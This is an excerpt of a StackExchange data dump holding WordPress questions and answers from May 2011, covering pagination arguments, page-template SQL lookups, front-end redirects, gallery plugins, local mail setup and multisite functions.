  <row Id="17952" PostTypeId="1" AcceptedAnswerId="17976" CreationDate="2011-05-22T21:14:19.270" Score="1" ViewCount="43" Body="&lt;p&gt;I'm currently extending my pagination plugin, after a hint by @toscho. So the plugin will now use the same filters, hooks and arguments as the native wordpress pagination functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the different wp functions name their arguments ... different.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is how you change the text for the &quot;Next&quot; link.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;wp_link_page()&lt;/code&gt; = &lt;code&gt;'nextpagelink'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;paginate_links()&lt;/code&gt; = &lt;code&gt;'next_text'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After retrieving the input in the class, I &lt;code&gt;wp_parse_args( $args, $this-&amp;gt;defaults );&lt;/code&gt; my arguments and then &lt;code&gt;extract&lt;/code&gt; them.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Problem:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When I now allow both &lt;code&gt;'nextpagelink'&lt;/code&gt; &amp;amp; &lt;code&gt;'next_text'&lt;/code&gt; as valid arguments, how would i deal with them? Which would I check first? Do I need to set some priority, so one overrules (if both are set) the other?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This example shows my dilemmas: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Which one has the higher priority? How can I avoid deciding?&lt;/li&gt;&#xA;&lt;li&gt;It's really long code just for deciding what to do with 2 vars.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $nextpagelink &amp;amp;&amp;amp; $next_text ) &#xA;{&#xA;    // CASE 1: both are set&#xA;    // which one should I take now?&#xA;}&#xA;elseif ( $nextpagelink )&#xA;{&#xA;    // CASE 2: only one is set - should this one override the next one?&#xA;    // set something&#xA;}&#xA;elseif ( $next_text )&#xA;{&#xA;    // CASE 3: only one is set - should this be overridden by the previous one?&#xA;    // set&#xA;}&#xA;else&#xA;{&#xA;    // CASE 4: none is set - apply default&#xA;    // set default&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-23T05:51:07.633" LastActivityDate="2011-05-23T07:41:36.297" Title="How to deal with equal &amp; similar arguments for a function?" Tags="&lt;plugin-development&gt;&lt;pagination&gt;&lt;default&gt;&lt;wp-link-pages&gt;" AnswerCount="2" />
  <row Id="17953" PostTypeId="2" ParentId="17944" CreationDate="2011-05-22T21:27:01.017" Score="0" ViewCount="" Body="&lt;p&gt;I don't quite get what you're trying to achieve. Do you want to create a link to a page that is using your login template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is what you want, you might query the database like that:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-sql prettyprint-override&quot;&gt;&lt;code&gt;SELECT p.ID FROM posts p&#xA;LEFT JOIN postmeta pm ON pm.post_id = p.ID&#xA;WHERE&#xA;    p.post_status = 'publish'&#xA;    AND&#xA;    pm.meta_key = '_wp_page_template'&#xA;    AND&#xA;    pm.meta_value = 'user-login.php'&#xA;LIMIT 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using &lt;code&gt;$wpdb&lt;/code&gt;. This of course relies on the fact that there's only one page using that template. You can then use the resulting id with &lt;code&gt;get_permalink()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2637" LastEditorUserId="2637" LastEditorDisplayName="" LastEditDate="2011-05-23T20:51:11.203" LastActivityDate="2011-05-23T20:51:11.203" />
  <row Id="17954" PostTypeId="2" ParentId="2171" CreationDate="2011-05-22T22:29:42.077" Score="0" ViewCount="" Body="&lt;p&gt;WAMP is an acronym that means: Windows, Apache, Mysql, Php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different WAMP &quot;distribution&quot; such as XAMPP, WampServer (what some people just call &quot;WAMP&quot;), &lt;a href=&quot;http://www.devside.net/server/webdeveloper&quot; rel=&quot;nofollow&quot;&gt;WampDeveloper Pro&lt;/a&gt; (commercial software), and others...&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Comparison_of_WAMPs&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Comparison_of_WAMPs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XAMPP for Windows is just another WAMP distribution, nothing more (nor something else).&lt;/p&gt;&#xA;" OwnerUserId="5584" LastEditorUserId="5584" LastEditorDisplayName="" LastEditDate="2011-05-22T22:53:16.267" LastActivityDate="2011-05-22T22:53:16.267" />
  <row Id="17955" PostTypeId="1" AcceptedAnswerId="17957" CreationDate="2011-05-22T23:03:11.770" Score="0" ViewCount="31" Body="&lt;p&gt;I had the site on oldsite.com but was using the database at newsite.com, everything was working great. I moved the site to newsite.com, now when I try adding a new post using a custom post type, it disappears, I am still able edit older posts, of the same custom post type. I checked the db when I create a new post nothing is saved, when I make changes to existing posts the change is saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where to look next. Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is in my functions.php&#xA;&lt;a href=&quot;http://pastebin.com/n5baM3R8&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/n5baM3R8&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-05-22T23:22:55.453" Title="Switched server &amp; domain name, now custom post types won't save" Tags="&lt;custom-post-types&gt;&lt;database&gt;" AnswerCount="2" />
  <row Id="17956" PostTypeId="2" ParentId="17955" CreationDate="2011-05-22T23:07:45.523" Score="0" ViewCount="" Body="&lt;p&gt;The first lines of your function for registering the post type are missing. You should get a fatal error. Check if you really took the complete file to your new site.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-22T23:07:45.523" CommentCount="1" />
  <row Id="17957" PostTypeId="2" ParentId="17955" CreationDate="2011-05-22T23:22:55.453" Score="0" ViewCount="" Body="&lt;p&gt;Try re-generating the permalinks structure. And check that you have the correct urls in the general options (WPURL and URL)&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-22T23:22:55.453" CommentCount="2" />
  <row Id="17958" PostTypeId="2" ParentId="16070" CreationDate="2011-05-22T23:47:53.100" Score="0" ViewCount="" Body="&lt;p&gt;What about highlighting the search term after the user clicks on the single and goes inside the post? Then the &lt;strong&gt;get_search_query()&lt;/strong&gt; returns an empty string&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-05-22T23:47:53.100" />
  <row Id="17959" PostTypeId="1" AcceptedAnswerId="17960" CreationDate="2011-05-23T00:09:38.800" Score="1" ViewCount="64" Body="&lt;p&gt;I would like to get the last term that was searched, but when not in the search.php page.&#xA;For that, I know, I could use &lt;strong&gt;get_search_query()&lt;/strong&gt; function, but if user clicks on a post for example, so he is now in the single item and that function will retrieve an empty string.&#xA;I want to preserve that search phrase and get it on other page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-05-23T04:13:34.960" Title="Get search term not on searh results page?" Tags="&lt;search&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="17960" PostTypeId="2" ParentId="17959" CreationDate="2011-05-23T00:36:31.923" Score="4" ViewCount="" Body="&lt;p&gt;Best solution would be to store the search phrase on the client-side via local storage or, where not available, in a cookie.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-23T00:36:31.923" />
  <row Id="17961" PostTypeId="1" AcceptedAnswerId="17962" CreationDate="2011-05-23T00:38:23.027" Score="1" ViewCount="120" Body="&lt;p&gt;Can you recommend a tutorial or a plugin in wordpress that lets you achieve a similar gallery, like this &lt;a href=&quot;http://www.whitehouse.gov/photos-and-video/photogallery/may-2011-photo-day&quot; rel=&quot;nofollow&quot;&gt;http://www.whitehouse.gov/photos-and-video/photogallery/may-2011-photo-day&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large Preview then at the bottom a thumbnails then an album. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like cooliris because it supports fetching images from facebook and flikr. Another feature I like about it is its sharing options, you can easily share those images in facebook. The only thing I don't like is its interface, its not fully customizable, the arrows left and right are hardly to be seen, the animation is too techno for my project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a gallery where thumbnails where thumbnails can easily be browse, and it also has an album so its organize. It would be a plus if you have an option to pull images from flikr or facebook and you can share them via facebook or twitter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you know a software that is close to my description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2011-05-23T06:29:47.913" Title="Image gallery plugin" Tags="&lt;plugins&gt;&lt;images&gt;&lt;gallery&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17962" PostTypeId="2" ParentId="17961" CreationDate="2011-05-23T01:09:13.710" Score="1" ViewCount="" Body="&lt;p&gt;You would have to create custom templates, but your reference page is fully achievable using the &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery&quot; rel=&quot;nofollow&quot;&gt;NextGen Gallery&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-23T01:09:13.710" CommentCount="6" />
  <row Id="17963" PostTypeId="2" ParentId="17944" CreationDate="2011-05-23T02:02:11.273" Score="2" ViewCount="" Body="&lt;p&gt;From what I understand, you want a URL to your page, that will work even if you change the page slug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by linking to the &lt;strong&gt;default permalink&lt;/strong&gt; for that particular page, for example &lt;a href=&quot;http://localhost/taiwantalk2/?page_id=139&quot; rel=&quot;nofollow&quot;&gt;http://localhost/taiwantalk2/?page_id=139&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This URL will always work even if your permalinks are updated. WordPress handles the redirects for you.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-23T02:02:11.273" />
  <row Id="17964" PostTypeId="2" ParentId="17952" CreationDate="2011-05-23T02:18:27.957" Score="1" ViewCount="" Body="&lt;p&gt;Since both of them need to exist to get in to the first if statement, couldn't you do something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $nextpagelink &amp;amp;&amp;amp; $next_text ) {&#xA;   // set both variables&#xA;}else {&#xA;   // set default&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you wanted to only work with one, regardless as to whether the other exists you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( $nextpagelink || $next_text ) {&#xA;   if ( $nextpagelink ) {&#xA;       // set something&#xA;   }&#xA;&#xA;   if ( $next_text ) {&#xA;       // set&#xA;   }&#xA;}else {&#xA;   // set default&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-23T02:18:27.957" />
  <row Id="17965" PostTypeId="1" CreationDate="2011-05-23T03:37:43.613" Score="1" ViewCount="517" Body="&lt;p&gt;I have been using wordpress for my projects. For my homepage of the site I need to display limited text from the post content and the content contains images as well. To display the 100 text i have used substr function of php. What happens here is that the text as well as image is dispalayed. I want to display only the text. Is there any way or plugin to do so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="478" LastActivityDate="2011-05-24T18:56:17.627" Title="How to get only text from wordpress post content?" Tags="&lt;posts&gt;&lt;image&gt;&lt;content&gt;" AnswerCount="2" />
  <row Id="17966" PostTypeId="2" ParentId="17965" CreationDate="2011-05-23T03:48:45.580" Score="3" ViewCount="" Body="&lt;p&gt;use  strip_tags + substr&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;substr( strip_tags( get_the_excerpt() ),0,235);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2193" LastActivityDate="2011-05-23T03:48:45.580" CommentCount="2" />
  <row Id="17967" PostTypeId="2" ParentId="17959" CreationDate="2011-05-23T04:13:34.960" Score="0" ViewCount="" Body="&lt;p&gt;If you don't want to go the client-side way you might use the &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot; title=&quot;Transients API&quot;&gt;WordPress Transients API&lt;/a&gt; or just regular PHP sessions as suggested here: &lt;a href=&quot;http://old.nabble.com/The-WordPress-way-to-store-temporary-per-user-data-(sessions)--td29723244.html&quot; rel=&quot;nofollow&quot;&gt;http://old.nabble.com/The-WordPress-way-to-store-temporary-per-user-data-(sessions)--td29723244.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-05-23T04:13:34.960" />
  <row Id="17968" PostTypeId="2" ParentId="17617" CreationDate="2011-05-23T04:30:50.083" Score="2" ViewCount="" Body="&lt;p&gt;I'm using a generic redirect solution in my templates that uses custom fields. In my &lt;strong&gt;functions.php&lt;/strong&gt; I have this function:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-php prettyprint-override&quot;&gt;&lt;code&gt;if (!function_exists('sumo_redirect')):&#xA;/**&#xA; * Put this at the very top of a page and give it the current page id. It then&#xA; * checks if there is a redirect_to custom field with another page id that it&#xA; * can redirect to.&#xA; *&#xA; * @param    int    $post_id    The current page.&#xA; */&#xA;function sumo_redirect($post_id)&#xA;{&#xA;    $redirect_to_meta = get_post_meta($post_id, 'redirect', TRUE);&#xA;    if (strlen($redirect_to_meta) &amp;gt; 0)&#xA;    {&#xA;        $redirect_to = (int) $redirect_to_meta;&#xA;&#xA;        header( &quot;HTTP/1.1 302 Found&quot; );&#xA;        header( &quot;Location: &quot; . get_permalink($redirect_to) );&#xA;    }&#xA;}&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my page template (or in your case the post template; single.php) I have this at the very top of the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php sumo_redirect($post-&amp;gt;ID) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can edit your post and add to it a custom field named &lt;em&gt;redirect&lt;/em&gt;, enter a post id and it will redirect to that. You might want to alter the function to also accept strings as the redirect destination (or even something more advanced like &lt;code&gt;category:12&lt;/code&gt;, &lt;code&gt;post:34&lt;/code&gt;, &lt;code&gt;url:http://google.com&lt;/code&gt; etc).&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-05-23T04:30:50.083" CommentCount="2" />
  <row Id="17969" PostTypeId="1" AcceptedAnswerId="17973" CreationDate="2011-05-23T05:39:49.323" Score="2" ViewCount="115" Body="&lt;p&gt;I'm using the WordPress database and back end to administer the news for my band's website and everything is working great however I'd like to disable the front end of WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the WordPress installation installed in &lt;code&gt;/wordpress/&lt;/code&gt; and obviously the admin section is under &lt;code&gt;/wordpress/wp-admin/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to restrict someone from accessing the rather *un*setup WordPress site itself without affecting the admin section?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything, I could simply redirect to the website's proper home page (&lt;code&gt;domain.com/&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="5059" LastActivityDate="2011-05-23T07:34:43.463" Title="Disable front end to use as CMS only?" Tags="&lt;redirect&gt;&lt;front-end&gt;" AnswerCount="4" />
  <row Id="17970" PostTypeId="2" ParentId="17969" CreationDate="2011-05-23T05:47:45.503" Score="1" ViewCount="" Body="&lt;p&gt;add this to the .htaccess in your root directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redirect 301 /wordpress http://www.domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is really just a quick fix, there might be better solutions. Another way would be to add a function to your functions.php file, that is then called in wp_head() to redirect that way. Using that method you could also allow yourself to view it with a simple IP check.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-23T05:47:45.503" CommentCount="1" />
  <row Id="17971" PostTypeId="2" ParentId="17961" CreationDate="2011-05-23T06:29:47.913" Score="1" ViewCount="" Body="&lt;p&gt;You can use the exact same jQuery plugin the White House is using, &lt;a href=&quot;http://galleria.aino.se/&quot; rel=&quot;nofollow&quot;&gt;Galleria.&lt;/a&gt;.  It's very well documented with lots of &lt;a href=&quot;http://galleria.aino.se/docs/1.2/getting_started/beginners_guide/&quot; rel=&quot;nofollow&quot;&gt;tutorials and instructions.&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think NextGen Gallery is overkill and the all options are confusing and the extra tables added to the db aren't really needed.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-23T06:29:47.913" CommentCount="1" />
  <row Id="17972" PostTypeId="2" ParentId="17969" CreationDate="2011-05-23T06:58:19.563" Score="1" ViewCount="" Body="&lt;p&gt;Use a theme with &quot;empty data&quot;. Put two files in directory, then activate &quot;theme&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;style.css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: turn off frontend&#xA;Theme URI: &#xA;Description: &#xA;Author: &#xA;Version: &#xA;License: GNU &#xA;License URI: &#xA;Tags:&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-05-23T06:58:19.563" />
  <row Id="17973" PostTypeId="2" ParentId="17969" CreationDate="2011-05-23T07:16:04.807" Score="2" ViewCount="" Body="&lt;p&gt;To make sure only the front end redirects to &lt;code&gt;domain.com&lt;/code&gt;, make a theme that uses the PHP header() function.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a folder called redirect or&#xA;something.  &lt;/li&gt;&#xA;&lt;li&gt;Add two files to the&#xA;folder: &lt;code&gt;style.css&lt;/code&gt; and &lt;code&gt;index.php&lt;/code&gt;&#xA;(necessary for a valid WP theme)  &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;style.css&lt;/code&gt;, add something like&#xA;this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/*&lt;br&gt;&#xA;Theme Name: Redirect&lt;br&gt;&#xA;Description: Redirects the front end to domain.com&lt;br&gt;&#xA;*/&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In &lt;code&gt;index.php&lt;/code&gt; add this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;header( &quot;Location: &lt;a href=&quot;http://domain.com&quot; rel=&quot;nofollow&quot;&gt;http://domain.com&lt;/a&gt;&quot; );  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Upload the folder to the themes directory and then activate it in the admin UI.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3341" LastActivityDate="2011-05-23T07:16:04.807" CommentCount="1" />
  <row Id="17975" PostTypeId="2" ParentId="17969" CreationDate="2011-05-23T07:34:43.463" Score="0" ViewCount="" Body="&lt;p&gt;Use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/authenticator/&quot; rel=&quot;nofollow&quot;&gt;Authenticator&lt;/a&gt; from &lt;a href=&quot;http://wordpress.stackexchange.com/users/170/bueltge&quot;&gt;@bueltge&lt;/a&gt;. Visitors who aren’t logged in see just the login screen, nothing else.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T07:34:43.463" />
  <row Id="17976" PostTypeId="2" ParentId="17952" CreationDate="2011-05-23T07:41:36.297" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_link_pages()&lt;/code&gt; and &lt;code&gt;paginate_links()&lt;/code&gt; work in different contexts: The first on a single paginated page, the latter on an archive. So &lt;code&gt;is_archive()&lt;/code&gt; should be your criterion to decide which text you use, or better: which filter you use in &lt;code&gt;apply_filters()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-23T07:41:36.297" CommentCount="1" />
  <row Id="17977" PostTypeId="1" AcceptedAnswerId="17996" CreationDate="2011-05-23T08:02:39.273" Score="3" ViewCount="72" Body="&lt;p&gt;I'm planning to follow &lt;a href=&quot;http://theos.in/wordpress/howto-change-list-of-allowed-html-tags-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; tutorial in order to allow my subscribers to add images to comments (actually a custom post type called &quot;Replies&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress filters &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags by default (except for the admin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will my Wordpress site be vulnerable to Cross-Site Scripting (XSS) if I allow img HTML tags in my comment section?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-24T16:00:55.430" Title="Will my Wordpress site become vulnerable to Cross-Site Scripting (XSS) if I allow img tags in the comments area?" Tags="&lt;html&gt;&lt;security&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="17978" PostTypeId="1" AcceptedAnswerId="17984" CreationDate="2011-05-23T08:07:17.667" Score="2" ViewCount="122" Body="&lt;p&gt;I installed a new WP site on local machine with wamp server.&#xA;When a new user registers it gets the &quot;registration successful&quot; message but a mail with the password is never sent. Also checked the junk folder.&lt;br&gt;&#xA;What can be the cause?&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-05-23T08:54:23.277" Title="Mail isn't sent after local site registration" Tags="&lt;registration&gt;&lt;local-installation&gt;&lt;mail&gt;" AnswerCount="2" />
  <row Id="17980" PostTypeId="1" AcceptedAnswerId="17985" CreationDate="2011-05-23T08:28:42.150" Score="1" ViewCount="113" Body="&lt;p&gt;The function &lt;a href=&quot;http://codex.wordpress.org/WPMU_Functions/get_current_site&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_current_site()&lt;/code&gt;&lt;/a&gt; that's in my themes' footer.php file doesn't return the 'site name' property as specified in the docs (and expected in the theme). The purpose of the function is to return all details about the parent site on a multi-site setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only return values I am getting are the blog_id and path. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php print_r(get_current_site());?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object ( [id] =&amp;gt; 1 [domain] =&amp;gt; www.mydomain.co.uk [path] =&amp;gt; / [blog_id] =&amp;gt; 1 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-05-23T08:48:05.137" Title="get_current_site() not returning site name" Tags="&lt;multisite&gt;&lt;functions&gt;&lt;codex&gt;" AnswerCount="1" />
  <row Id="17982" PostTypeId="1" CreationDate="2011-05-23T08:32:55.000" Score="2" ViewCount="115" Body="&lt;p&gt;I am developing a site using Wordpress, phpbb3 and WP phpbb Bridge. Users have to manage their profile through phpbb3 and I would like to inhibit normal users access to page mysite.com/wp-admin/ .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I implement that?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditorDisplayName="" LastEditDate="2011-05-25T15:16:05.970" LastActivityDate="2011-05-25T15:16:05.970" Title="How to inhibit dashboard and profile management access to normal users?" Tags="&lt;wp-admin&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="17983" PostTypeId="2" ParentId="14759" CreationDate="2011-05-23T08:33:44.927" Score="0" ViewCount="" Body="&lt;p&gt;If you are looking to use other existing WordPress functions that aren't included in their XML-RPC, try using: &lt;a href=&quot;http://wordpress.org/extend/plugins/extended-xml-rpc-api/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, download that plugin and use the code as an example...it should be plenty for you to understand how to add your own plugins to the XML-RPC.&lt;/p&gt;&#xA;" OwnerUserId="5589" LastActivityDate="2011-05-23T08:33:44.927" />
  <row Id="17984" PostTypeId="2" ParentId="17978" CreationDate="2011-05-23T08:43:53.580" Score="2" ViewCount="" Body="&lt;p&gt;Probably your local setup since Wamp does NOT come with mail server. But you can configure the STMP settings of PHP to point to another server in your LAN which runs an SMTP server, or to the SMTP server of your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this thread has an example of how to set it up:&#xA;&lt;a href=&quot;http://www.wampserver.com/phorum/read.php?2,31302,70969&quot; rel=&quot;nofollow&quot;&gt;http://www.wampserver.com/phorum/read.php?2,31302,70969&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-23T08:43:53.580" CommentCount="9" />
  <row Id="17985" PostTypeId="2" ParentId="17980" CreationDate="2011-05-23T08:48:05.137" Score="2" ViewCount="" Body="&lt;p&gt;Try using &lt;code&gt;get_current_site_name()&lt;/code&gt; to insure you get the site name so something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo get_current_site_name(get_current_site());&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-23T08:48:05.137" CommentCount="2" />
  <row Id="17986" PostTypeId="2" ParentId="17978" CreationDate="2011-05-23T08:54:23.277" Score="2" ViewCount="" Body="&lt;p&gt;Chances are that this isn't really a WordPress issue, but actually an problem with how you're setup for mail on your local machine / dev environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can install a 'dummy' SMTP server on your local dev machine that allows you some independence from your environment. I often work at client sites where access to port 25 is tightly controlled, and using MockSMTP is very helpful for testing notification emails&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For OS X: &lt;a href=&quot;http://mocksmtpapp.com/&quot; rel=&quot;nofollow&quot;&gt;MockSMTP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Windows: &lt;a href=&quot;http://smtp4dev.codeplex.com/&quot; rel=&quot;nofollow&quot;&gt;smtp4dev&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-23T08:54:23.277" CommentCount="1" />
  <row Id="17988" PostTypeId="1" CreationDate="2011-05-23T08:58:11.597" Score="0" ViewCount="98" Body="&lt;p&gt;I am using a wordpress template/theme and I need to add a left menu to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I would do this please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5591" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-05-23T09:03:22.860" LastActivityDate="2011-05-23T09:03:22.860" Title="wordpress / buddypress template Adding a left menu" Tags="&lt;menus&gt;&lt;navigation&gt;" CommentCount="2" />
  <row Id="17989" PostTypeId="1" AcceptedAnswerId="18034" CreationDate="2011-05-23T09:12:29.743" Score="2" ViewCount="99" Body="&lt;p&gt;I've given the task of moving several well established blogs from wordpress.com into an independent hosting using Wordpress. Wordpress.com uses a special parser for taking stuff like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[youtube=http://youtu.be/JN3n34dS]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and converting this to a YouTube embed (for example, this happens with other links too, such as Google Maps, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a systematic way to convert all those links to normal embeds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="5593" LastActivityDate="2011-05-23T20:54:46.453" Title="Convert Wordpress.com embed links to normal embeds" Tags="&lt;3.0&gt;&lt;3.1&gt;&lt;wordpress.com&gt;&lt;import&gt;&lt;embed&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="17991" PostTypeId="2" ParentId="17982" CreationDate="2011-05-23T09:19:22.977" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-hide-dashboard/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-hide-dashboard/&lt;/a&gt;&#xA;might be what you are looking for perhaps?  &lt;/p&gt;&#xA;" OwnerUserId="5543" LastActivityDate="2011-05-23T09:19:22.977" CommentCount="1" />
